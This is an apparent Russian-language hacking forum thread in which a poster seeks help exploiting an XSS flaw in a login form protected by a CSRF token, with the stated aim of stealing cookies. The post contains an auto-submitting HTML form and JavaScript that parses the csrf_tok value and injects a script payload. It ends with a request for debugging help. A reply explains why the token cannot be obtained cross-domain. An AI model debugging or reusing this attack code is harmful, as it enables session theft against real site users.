Как заюзать данную брешь ? форма с iframe не пройдет поскольку токен не пустит. Парсить токен ? Подскажите решение
Вот форма уязвимая к XSS . В ней есть токен csrf_tok HTML: <form method="post" name="login_frm" action="https://site.com/login"> <input name="Login" value="" type="hidden"> <input name="Pass" value="" type="hidden"> <input name="csrf_tok" value="a757118b" type="hidden"> </form><script>document.getElementsByTagName('form')[0].submit();</script> Для того что бы стырить куки, надо отправить эту форму с правильным токеном. Значит сперва его нужно выдернуть и вставить в свою форму. Создаю js который вставляю в уязвимое к XSS поле HTML: function request(url, type, callback, send){ var oReq = new XMLHttpRequest(); oReq.open(type, url, true); oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); oReq.onload = callback; oReq.send(send); }; function getListener () { var el = document.createElement('div'); el.innerHTML = this.responseText; request('login', 'POST', postListener, 'csrf_tok=' + el.querySelector('input[name="csrf_tok"]').value + '&Login=<script>alert(xss)<script>'+ '&Pass=12345678'); }; function postListener(){ console.log(this.responseText) }; request('login', 'GET', getListener); Подскажите где ошибка.
Если XSS работает только при указании правильного токена, вам нужно получить токен. Но получить его без выполнения JS на стороне жертвы не удастся. Взаимоисключение получается. А спарсить токен со своего домена не получится, ибо кросс-доменная политика запросов не даст.